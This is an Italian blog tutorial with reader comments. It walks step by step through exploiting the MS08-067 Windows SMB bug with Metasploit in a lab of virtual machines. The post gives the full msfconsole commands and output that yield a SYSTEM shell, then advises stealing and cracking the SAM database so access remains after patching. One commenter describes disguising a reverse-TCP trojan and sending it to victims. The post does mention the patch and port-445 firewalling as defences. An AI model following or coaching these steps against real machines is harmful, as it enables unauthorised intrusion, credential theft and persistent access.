Hackerare Windows con Metasploit

Qualche settimana fa ci siamo imbattuti in un grave bug di Windows che Microsoft ha provveduto a risolvere rilasciando una patch straordinaria.
In questo tutorial dimostro come sia possibile attaccare un sistema Windows vulnerabile a questo bug.

Perchè l’attacco abbia successo si devono presentare le seguenti condizioni:

  • Il computer non deve essere patchato contro la vulnerabilità MS08-067
  • Il computer deve permettere connessioni in entrata sulla porta 445

Se queste due condizioni non sono presenti il sistema si può considerare sicuro. Per essere sicuri di essere invulnerabili a questo attacco installare la patch MS08-067; in alternativa inibire l’accesso alla porta 445 tramite firewall.

L’attacco viene portato utilizzando il Metasploit Framework, versione 3.3-dev. Come piattaforma ho utilizzato Back|Track3, una distribuzione Linux appositamente studiata per i penetration test.

Aggiornare Metasploit

Nella versione BT3 appena masterizzata l’exploit che voglio usare non c’è, quindi bisogna aggiornare Metasploit Framework tramite subversion, con il comando:

svn update

da eseguire nella directory dove si trova il Framework 3 di Metasploit.

Preparazione dell’attacco

Con il comando ifconfig mi sincero del mio indirizzo ip:

bt framework3 # ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:AC:13:6D
inet addr:192.168.132.129  Bcast:192.168.132.255  Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:5909 errors:0 dropped:0 overruns:0 frame:0
TX packets:5390 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:8686599 (8.2 MiB)  TX bytes:322667 (315.1 KiB)
Interrupt:18 Base address:0x1080

Come si vede il mio indirizzo è 192.168.132.129. La macchina target, quella che andrò ad attaccare è un Windows XP Pro vulnerabile a questo attacco e con la porta 445 accessibile. Il suo indirizzo è 192.168.132.128. Entrambe le macchine sono virtuali, emulate su VMWare.

Metasploit Framework dispone di diverse interfacce: quella che prediligo è msfconsole, ed è quella che utilizzerò in questo tutorial. Per accedere a msfconsole basta digitare il comando sulla linea di comando per entrare nel prompt msf:

bt framework3 # msfconsole
 
=[ msf v3.3-dev
+ -- --=[ 294 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 58 aux

Per visualizzare la lista degli exploit disponibili uso il comando show exploits; di seguito mostro uno stralcio, dove viene visualizzato quello che mi interessa:
msf > show exploits

507301853ac9bff3e4d2a10fcb857533002

Ho trovato l’exploit: decido di impiegarlo:

msf > use windows/smb/ms08_067_netapi

visualizzo la lista delle opzioni:

msf exploit(ms08_067_netapi) > show options
 
Module options:
 
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST                     yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
 
Exploit target:
 
Id  Name
--  ----
0   Automatic Targeting

Ci sono tre parametri obbligatori: RHOST (l’indirizzo del target), la porta Tcp (445) e il servizio da sfruttare come vettore (BROWSER); lascio gli ultimi due di default e inserisco l’Ip del computer che voglio attaccare:

msf exploit(ms08_067_netapi) > set RHOST 192.168.132.128
RHOST => 192.168.132.128

Il target non va specificato, in quanto viene selezionato automaticamente (Automatic Targeting)

Ora devo decidere cosa fare se l’exploit va a buon fine. Metasploit mette a disposizione diversi payloads, ovvero diverse opzioni dalla semplice shell su porta Tcp, alla connessione inversa, al server VNC. In questo caso scelgo la shell su port Tcp, scelta classica:

msf exploit(ms08_067_netapi) > show payloads
 
Compatible payloads
===================
 
Name                                            Description
----                                            -----------
generic/debug_trap                              Generic x86 Debug Trap
generic/debug_trap/bind_ipv6_tcp                Generic x86 Debug Trap, Bind TCP Stager (IPv6)
 
...
 
windows/shell/bind_tcp                          Windows Command Shell, Bind TCP Stager
windows/shell/reverse_ipv6_tcp                  Windows Command Shell, Reverse TCP Stager (IPv6)
 
...
 
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp

Ecco fatto: l’exploit è configurato. Ho scelto l’exploit ms08_067 che colpisce Windows senza l’aggiornamento relativo; ho settato l’indirizzo del target da attaccare ovvero RHOST 192.168.132.128; infine ho scelto il payload bind_tcp: se l’exploit andrà a buon fine potrò collegarmi (lo farà automaticamente) con una shell Windows su una porta Tcp  della macchina remota. Decido di non cambiare la porta Tcp e lasciare il valore di default: 4444.

A questo punto non resta che lanciare l’attacco, con il comando exploit:

msf exploit(ms08_067_netapi) > exploit
 
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:Italian
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.132.129:55761 -> 192.168.132.128:4444)
 
Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\WINDOWS\system32>ipconfig
ipconfig
 
Configurazione IP di Windows
 
Scheda Ethernet Connessione alla rete locale (LAN):
 
Suffisso DNS specifico per connessione: localdomain
Indirizzo IP. . . . . . . . . . . . . : 192.168.132.128
Subnet mask . . . . . . . . . . . . . : 255.255.255.0
Gateway predefinito . . . . . . . . . : 192.168.132.2

Come si vede l’attacco è andato a segno. Tramite la vulnerabilità Metasploit ha inviato un payload con una shellcode in grado di aprire la porta Tcp 4444 sulla macchina Windows e mi ha permesso di collegarmi ad una shell dei comandi.
Quindi mi sono torvato un prompt dei comandi Windows sotto le mani! Ho eseguito ipconfig per mostrare l’Ip, che effettiavamente è quello della macchina che volevo attaccare.

A questo punto ho l’accesso completo con privilegi SYSTEM. Posso fare qualsiasi cosa.
Ho avuto l’accesso completo senza dover conoscere nessuna password. Ora posso prelevare il SAM database e craccarlo comodamente per poter rientrare in seguito con l’account di amministratore, senza dover rifare l’attacco: se il bug verrà patchato avrò comunque l’accesso garantito.

19 Comments
  1. X anonimo
    Evidentemente il tuo amico manca l’aggiornamento MS08-067. Per ricevere il codice di attivazione ti devi registrare al sito. In alternativa puoi usare nmap che amio giudizio e migliore di nessus. Quest’ultimo è una fissazione di tanti blogghisti presunti hacker che lo consigliano ma in realtà, come detto prima, nmap è migliore sotto ogni punto di vista.

  2. E quando ottieni i dati dell admin come procedi?
    Non si ottengono gli stessi risultati con il getsistem o Usepriv?

    Comunque xAnonimo ,nel caso la macchina non sia bucabile per l assenza del MS08-067 ,puoi fare un altro tentativo con il metodo reverse_tcp, praticamente crei un eseguibile (essenzialmente un trojan,che di suo viene scovato abbastanza spesso , ma si ottengono buoni risultati camuffandolo con la funzione msfcode),praticamente questo file lo alleghi a qualcosa e speri che l venga aperto nel computer remoto . Entrando nel dettaglio è lunghetta , però ti consiglio di buttare un occhio su google.

  3. Ciao ho provato con il tuo metodo ma mi da un problema,
    ho utilizzato un payload differente ma va bene lo stesso
    [*] Automatically detecting the target…
    [*] Fingerprint: Windows XP – Service Pack 3 – lang:Italian
    [*] Selected Target: Windows XP SP3 Italian (NX)
    [*] Attempting to trigger the vulnerability…
    [*] Exploit completed, but no session was created.
    l’ultima riga cosa significa?

  4. Pingback: Falla Internet Explorer: Zero-Day Minaccia gli Utenti Microsoft | PillolHacking.Net

  5. Pingback: [Eventi] Webinar Gratuito: Hera Lab, Dimostrazioni pratiche di Exploiting e Pivoting | PillolHacking.Net

  6. Dopo l’exploit avviene questo:

    [*] Started bind handler
    [*] Automatically detecting the target…
    [*] Fingerprint: Windows XP – Service Pack 3 – lang:Italian
    [*] Selected Target: Windows XP SP3 Italian (NX)
    [*] Attempting to trigger the vulnerability…
    msf exploit(ms08_067_netapi) >

    E quindi?

Comments are closed.